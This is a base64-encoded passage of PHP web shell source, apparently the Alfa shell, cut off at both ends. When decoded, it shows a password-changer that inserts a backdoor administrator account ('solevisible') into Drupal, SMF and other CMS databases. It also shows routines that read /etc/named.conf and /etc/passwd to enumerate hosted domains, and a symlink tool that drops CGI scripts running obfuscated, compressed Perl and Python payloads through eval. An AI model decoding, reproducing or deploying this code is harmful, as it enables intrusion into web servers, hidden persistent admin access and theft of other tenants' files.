U7IiBtZXRob2Q9IlBPU1QiPic7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDInID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQzJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNCcgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ1JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ2JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDcnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAndG9mdG9mJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksDQogJ3RkOCcgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQ0KKTsNCmNyZWF0ZV90YWJsZSgkdGFibGUpOw0KZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsNCmlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+Picpew0KJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsNCiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsNCiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTQnXTsNCiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTUnXTsNCiRhZG1pbiA9ICRfUE9TVFsnYWxmYTcnXTsNCiRTUUwgPSAkX1BPU1RbJ2FsZmE5J107DQokcHJlZml4ID0gJF9QT1NUWydhbGZhMTAnXTsNCiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokaGFzaCA9IG1kNSgkcHdkKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguIl9hdXRob3JzKGFpZCxuYW1lLGVtYWlsLHB3ZCkgdmFsdWVzKCckYWRtaW4nLCdHb2QnLCckU1FMJywnZDRhNTkwY2FhY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCmlmKCRzb2xldmlzaWJsZSl7DQpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30NCn0NCn0NCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTknXSkgJiYgJF9QT1NUWydhbGZhOSddID09ICdkcnVwYWwnKXsNCg0KZWNobyBfX3ByZSgpLic8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IERydXBhbCB8PC9kaXY+PHA+PHA+Jy5nZXRDb25maWdIdG1sKCdkcnVwYWwnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsbnVsbCx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSxudWxsLHRoaXMuYWRtaW4udmFsdWUsXCdkcnVwYWxcJyk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsNCiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMicgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDMnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ0JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDYnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNycgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICd0b2Z0b2YnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKQ0KICk7DQpjcmVhdGVfdGFibGUoJHRhYmxlKTsNCmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7DQppZiAoJF9QT1NUWydhbGZhMSddICYmICRfUE9TVFsnYWxmYTEnXSA9PSAnPj4nKXsNCiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107DQokZGF0YWJhc2UgPSAkX1BPU1RbJ2FsZmE0J107DQokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE1J107DQokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107DQokYWRtaW4gPSAkX1BPU1RbJ2FsZmE4J107DQokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJGdldERlc2N1aWQgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgdWlkIGZyb20gdXNlcnMgb3JkZXIgYnkgdWlkIGRlc2MgbGltaXQgMCwxIik7DQokZ2V0RGVzY3VpZCA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJGdldERlc2N1aWQpOw0KJGdldERlc2N1aWQgPSAkZ2V0RGVzY3VpZFsndWlkJ107DQokZ2V0ZGVzY3VpZCA9ICRnZXREZXNjdWlkKys7DQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8gdXNlcnMgKHVpZCxuYW1lLHBhc3MsbWFpbCxzaWduYXR1cmVfZm9ybWF0LHN0YXR1cyx0aW1lem9uZSxpbml0KSB2YWx1ZXMoJyRnZXREZXNjdWlkJywnJGFkbWluJywnXCRTXCREUDJ5OUFib2xDQk9kXC9XeVFjcHp1NHpGNTdxRTBub3lDTmVYWld2LjM3UjY2VnNGak9pQycsJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCdmaWx0ZXJlZF9odG1sJywnMScsJ0V1cm9wZS9CZXJsaW4nLCdzb2xldmlzaWJsZUBmYmkuZ292JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IHVpZCBmcm9tIHVzZXJzIHdoZXJlIG5hbWU9JyIuJGFkbWluLiInIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJHNvbGUgPSBteXNxbGlfbnVtX3Jvd3MoJHNvbGV2aXNpYmxlKTsNCmlmICgkc29sZSA9PSAxKXsNCiRzb2xldmlzID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRzb2xldmlzaWJsZSk7DQokcmVzID0gJHNvbGV2aXNbJ3VpZCddOw0KfQ0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIklOU0VSVCBJTlRPIHVzZXJzX3JvbGVzICh1aWQscmlkKSBWQUxVRVMgKCciLiRyZXMuIicsICczJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQppZigkc29sZXZpc2libGUpew0KX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTt9DQp9DQp9DQoNCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEwJ10pICYmICRfUE9TVFsnYWxmYTEwJ10gPT0gJ3NtZicpew0KDQplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBTTUYgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgnc21mJykuJzwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsbnVsbCx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUsdGhpcy5hZG1pbi52YWx1ZSxudWxsLFwnc21mXCcpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDInID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQzJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNCcgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ1JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICdzbWZfJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNicgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gVXNlcicsICdpbnB1dE5hbWUnID0+ICdhZG1pbicsICdpbnB1dFZhbHVlJyA9PiAnYWRtaW4nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ3JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ2hpJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksDQogKTsNCmNyZWF0ZV90YWJsZSgkdGFibGUpOw0KZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsNCmlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+Picpew0KJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsNCiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsNCiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTUnXTsNCiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTYnXTsNCiRwcmVmaXggPSAkX1BPU1RbJ2FsZmE3J107DQokYWRtaW4gPSAkX1BPU1RbJ2FsZmE4J107DQokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJHNldHB3QWxnID0gc2hhMShzdHJ0b2xvd2VyKCRhZG1pbikgLiAnc29sZXZpc2libGUnKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB7JHByZWZpeH1tZW1iZXJzIChpZF9tZW1iZXIsbWVtYmVyX25hbWUsaWRfZ3JvdXAscmVhbF9uYW1lLHBhc3N3ZCxlbWFpbF9hZGRyZXNzKSB2YWx1ZXMobnVsbCwnJGFkbWluJywnMScsJyRhZG1pbicsJyRzZXRwd0FsZycsJ3NvbGV2aXNpYmxlQGZiaS5nb3YnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCmlmKCRzb2xldmlzaWJsZSl7DQpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30NCn0NCn0NCmVjaG8gIjwvZGl2PiI7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhTWFrZVB3ZCgpew0KCWlmKF9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIil8fChfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy9uYW1lZC5jb25mIikmJl9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZhbGlhc2VzIikpKXsNCgkJcmV0dXJuICIvaG9tZS97dXNlcn0vcHVibGljX2h0bWwvIjsNCgl9DQoJJGRvY3VtZW50ID0gZXhwbG9kZSgiLyIsICRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOw0KCSRwdWJsaWMgPSBlbmQoJGRvY3VtZW50KTsNCglhcnJheV9wb3AoJGRvY3VtZW50KTsNCglhcnJheV9wb3AoJGRvY3VtZW50KTsNCgkkcGF0aCA9IGltcGxvZGUoIi8iLCAkZG9jdW1lbnQpIC4gIi97dXNlcn0vIiAuICRwdWJsaWM7DQoJcmV0dXJuICRwYXRoOw0KfQ0KZnVuY3Rpb24gYWxmYUdldERvbWFpbnMoJHN0YXRlID0gZmFsc2Upew0KCSRzdGF0ZSA9ICJuYW1lZC5jb25mIjsNCgkkbGluZXMgPSBhcnJheSgpOw0KCSRsaW5lcyA9IF9hbGZhX2ZpbGUoJy9ldGMvbmFtZWQuY29uZicpOw0KCWlmKCEkbGluZXMpew0KCQkkbGluZXMgPSBAc2NhbmRpcigiL2V0Yy92YWxpYXNlcy8iKTsNCgkJJHN0YXRlID0gInZhbGlhc2VzIjsNCgkJaWYoISRsaW5lcyl7DQoJCQkkbGluZXMgPSBAc2NhbmRpcigiL3Zhci9uYW1lZCIpOw0KCQkJJHN0YXRlID0gIm5hbWVkIjsNCgkJCWlmKCEkbGluZXMgJiYgJHN0YXRlKXsNCgkJCQkkbGluZXMgPSBfYWxmYV9maWxlKCcvZXRjL3Bhc3N3ZCcpOw0KCQkJCSRzdGF0ZSA9ICJwYXNzd2QiOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiBhcnJheSgibGluZXMiID0+ICRsaW5lcywgInN0YXRlIiA9PiAkc3RhdGUpOw0KfQ0KZnVuY3Rpb24gYWxmYXN5bWxpbmsoKXsNCmFsZmFoZWFkKCk7DQpBbGZhTnVtKDksMTApOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGJyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU3ltbGluayB8PC9kaXY+PGNlbnRlcj48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsXCdzeW1waHBcJykiPnwgU3ltbGluayggcGhwICkgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsXCdzeW1wZXJsXCcpIj58IFN5bWxpbmsoIHBlcmwgKSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsbnVsbCxcJ3N5bXB5XCcpIj58IFN5bWxpbmsoIHB5dGhvbiApIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLG51bGwsbnVsbCxcJ1N5bUZpbGVcJykiPnwgRmlsZSBTeW1saW5rIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsNCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkmJigkX1BPU1RbJ2FsZmEyJ109PSdzeW1wZXJsJ3x8JF9QT1NUWyJhbGZhMiJdPT0ic3ltcHkiKSl7DQoJJHN5bXBhdGggPSBhbGZhTWFrZVB3ZCgpOw0KCUBta2RpcignY2dpYWxmYScsMDc1NSk7DQoJQGNoZGlyKCdjZ2lhbGZhJyk7DQoJYWxmYWNnaWh0YWNjZXNzKCdjZ2knKTsNCgkkcGVybCA9ICcjIS91c3IvYmluL3BlcmwgICAtSS91c3IvbG9jYWwvYmFuZG1pbicuIlxuIi4ndXNlIE1JTUU6OkJhc2U2NDt1c2UgQ29tcHJlc3M6OlpsaWI7ZXZhbChDb21wcmVzczo6WmxpYjo6bWVtR3VuemlwKGRlY29kZV9iYXNlNjQoIkg0c0lBQUFBQUFBQS81MFlDMVBhU1BpdmJGT3VTVnJKZzJxMUJGRE9hcytadHQ1VTI1c2I4WmhOZG9IVWtPU3lDMEtSL3ZiNzlwRVlGVzNuTW1QWXpYN3Y5enBqRkVWWnlqaE9PVG81R3g2K1AwSGRIcUtMbUhHR0drZWZ2cTdNOS8zem83LzZmdzlQUHAwZmZUN3VIeDZaNjJDNlJJMTV5MGRkWkJocUU2cDFQRUtXb21PalZWN0VRTlk0ekZKT1U5N2t5NXkyRWFjTDdrNzROQm1rZzdRakZyM09oR0xTNi9DWUo3UjNtQkZLVUxoRS9RL0hmWFJPK3g4N3JqcnBNTDZFSDd3U0pKcUVSbG1CZVp5bDdUUkxhYkR1dU9xODR5cHlZVWFXS0J4SFdaSVZYZk81Sngrelp3UktMTE5ENGptU0tGMGp4NFRFNmJqdGUva2lDS2E0R01kcE04dzR6NmJxVzVnVmhCWnRQMThnZ3RrRUpIdytrazhnNmJkaEo4Z0hValNjeE9PMEhZSE90QWhHb0gzem1zYmpDVytIV1VMVUJ4Wi9wKzNXRzZCczNHck1zb1FpaGdsNmdlSjBIck00aFAwUGRMYWNKbkY2aFg1Zm9qOXBrWFJjRUx4bkJtdWFNTHJTYm1qMFA3Ly9ldUZkQnRvVDBUakd5UWk3UnJCbXN4RElEWEZSNENWYWdiTXN3UEcyR25QZnN3SDBZQ2djK052Y0g4Rm1pbk8wYWd4RkRQaHJkQ0FBZzRMeVdaRWlTd1VGSVB1amxVQmUyL2ErMy9ZVWcveWFsTFRmYUtyeHlIcW1RMkdsYVFoaGd6VWNBQlNpL3lLRHhBV051RkVCR080a20xSjNOV08wV0x2NUxFemlhQ2hpUkNnQ2VFMEtJSlJIYm9xbmxEZ1F1aU1EdlhpQm1rUi9uNFB0TWFQTS9VV2FCeXhQWWc0Q3kxL0xIYmp1bG9wNzQ5M3A0WmVQUjUvT2g1OVBUOCtOdGEzaWZCZGc4eXhIQ2pHb0xUVzdiMW1jV29acmJPbnZ0Z01TYU9ZR2NvQ0NzdGdVWDFGZWxFYmJCcTV6S2w3K25uanZhQ1BxRk9vQXBBcFY4MkdFbVpBNkVPOGlybEFaN2Nmd2VENUVPekRjZG95T0swNGhOUVFnSnh0b0pYVEVCU1dNSmdVZGRVM0RBYW1vZE5MRnZuZ3VEYlNQekc5NGpsbFV4RGx2NDRRVzNES3VvWUtJNmpHS1U0SklOc1Z4NmppT1ladHRaRTQ0ejl1dWE0SVExSFlNRTNISUxNcTc1akJNY0hwbDNoUGE4L3F0bHFlRXBqV2hjU1g0QmkyUGp4V0N2L2RBemJvMmtCZU9JVktDcVd4eXhUcUhkSEw0Z292akhjZHdmeVlnMkZUV0VKMlJEd1IwZWRIVEdVZXlJWEM2bnhNeWhQelhJb2F1aWZ3dVBoM00vUjM0Wk9sTlZGdS9ydGFOT1lHMXIwbkEwbFBMdDdkTDczYnBLNGhhcXNtTWdheFF4NEtIL2hSa09ZWDBKcDV3SGR0QzVyMEVNMjJVRlJWT21XQkdvS1h1YU1SZUVDVVp0Qk85VmF3QlIvQ3VrRXIyUW1qemJzS2FVZzRvQ0VnMWw5YVdBbFM4ZDZYdW1tVkJSYmt1Sk5TZGM4Vno5eTZYT1M2VU5rOXo4SC9Dd1M4NVBCTWJlNldjQU9VTUhxakVtNHJhUnNQTzQ0TFBjT0txVk1tdVUxcXd5c1IzaEhqYXNyN1djcS9tOUpwWk5aY25kZDdUM0tLTkd1L2RtblN2MUVYYThmRVFJVklXUmJBamowdlo1YVpxV1o2Mm5ONisxZHRLc1NwK0JWY3J4NHhkVjF6VjdoR0xxY05lSUZ3QndhcTJSbkJMV2RkVFhRVFFVVkZraFNoWFdyU3EzR0xSZWxYVDc1cStXUmJNRUVkWDR5S2JwYVNwKzc0YUsvVEkwUFlRbnZGTVZtUTkwL3pQdXYzeVFTbmJXQ25meVNCaVR3T1hWZklMOUtDZmdtNHVjR1Z4ZzVmV1MweFhVT3NhQzJuL1VRYnhFMDFra0FFaVJaYndpTDJLb1BYbU9qakZYQ0lQOVI3WHBrZWZsT1BqZzNxbE13NkNRaEx1L2tCVDEzbTUveDFtUG1SWXNMSU50SEtEa29HdlBXblZPZG9DamJrT0NWMTNYQVZhS1BrQWl4UmNjMmNzVWJ6UnpRMHF2OVFxV0IzWjBVRGwxcW1vS2JWa0ZONGJURVN2Q2dNMXpBZ1FHZTdDR05CNDh1dFpUQ3dMNW5GdXlUUDdZdnZTMWlvcHdtcXR1Z2E5SFZ6YVltNlJ1Z2FhSFB4UU5SRXFRNGl0ZjZsTS9GWXlGWHRsbVg4RzdOVU4vRFdFZmVyNHZzUVhkRFlEaGpWR2RRdnF6Q3V0UlM5YWw2aURkanl2dEkvR3JZWUwxZTUyYTVQWVdzMWkwQzZsU3FUa3RITUpuVnBZY1ZkSVZ6b1RiM1NtaUpGS0ZPdVd5bXNkRVhvdUUvZ2lNQ1FXRVFQbFBUMlVsNzJ5c1d6TDRsUVBlaWg1RVBMUm5ZaHYxUUljMStLYmFLdEVqd1d6Y0U1TEJiT2xVQnUrRm5qZzNBeWF0U0QyS3RoNVZBR0RIUGVoSlhBTGdHWERHU1pRekxzSTNtTStrZGF6VVZQTkZ0WElBUmd3eHpCZXlQTXQ1SUV2S21SYkdLYzZmbkFxRlN6dkhOWUFhRXBIWWdmMHFCSkV6cjlXWXlHT1ZGdkM4azNBM1l0WHJ3SnRaei9JWjJ4aTFXaUFIcUxyNnNLd0RVNjVKVlhGMHdhQ09uVWVFdzBDY3JOd2ZyaUIyQU9oQUJzNGxBM0VWUVVTZmtVbkVVUGhlbm9GL2RXcXo2QWdwTGU3czZQSE8xL0d5M04xRzRTNzNwbTREWjdKMitCSmVSc2NwS2U1dVBJeStFVG9nakowbkNWSmRnMzErZ01RWklQMG5SdytzbUlwQWVTVlV1TTZPVng2Qm1tZmtITzRpS3Q3ZUo1QSswRDVKQmQvMjBoQUpBaGVTRjNRQWZZUG5CSVk5SDhCWEVmNlNNMlRzQUJ2OUVERk8xTzNNK0U0aWloajVUVWN3bmUwbHRyclNVRlEwTkRxR3ZYNDFDNkQ5RmwxSjl3MFdVSGFxMG5jS2h1S0xxYmwxM0pZa3lsU1hsY3JMMm9ueXY5U2dBLy9BM1FyNXZjdkVRQUEiKSkpOyc7DQoJJHB5ID0gJyMhL3Vzci9iaW4vcHl0aG9uJy4iXG5pbXBvcnQgemxpYiwgYmFzZTY0XG4iLidldmFsKGNvbXBpbGUoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoImVKeWRXRzF2MnpZUS9tei9DbFpGWm50eEpEdlk5c0Z4UEdScHNoWG8ybUhOTUF5SklkQWliV3VSUllHa1kzdEY5OXQzeHhkSnRwVzBtRDVZRkhudnZIdDR0SmE3VWJ1VnJnb2hOVWtXcVo2MVcrWVY4cHpPTXQ3dHRmazI0WVVHcW9JcTFXNDdXcDJ1dUI4TDVVZHFWdzVsdVZ4c1dMdTl5TVNNWmpHTXlTVUpBdis5bHBuOWZ2c3h2djc1TFl4dmFhWTRxSm1EV0REaUtaVWlENWRVeFk5ODF3MSt2cnE3K2ZQcXIvanQrN3ViMzIrdnJtK0NIbGhXTXQvSk5XOXpFQUNUZXhyQnNKREt4ZFA5Y0ZxdU9OM2dMczNtTkFyYWJjYm5aTUUxOG5RTG9WQTAyT0dsTzl0Z3NpVzVYc3VjVkNvTUliQWdWY0JTeVJNZEVDRkpGNXdvcUY2R3FacW5FTTRnNGpxSmNycmlMRXhFUGc5NmhPYU1WRlRBNjRpZWFKWlN4VlVVOUhvMW5VRzBGQ3NlZlZvckxqOUh4WHFXcFVtODFLc01IR2dCTjVoUWk5eDk4T2JEOVIrLzNyeS9pMy8vOE9FdW1JYXF5RklOS29JZTdLamhCZ2JrQ3d0UndIYTM2bU92ODBSNWhTY3FJQ2NFK2NPL1JacDNrYnJYSjFaU3o0WndSUis1bHQxRXJIUGRK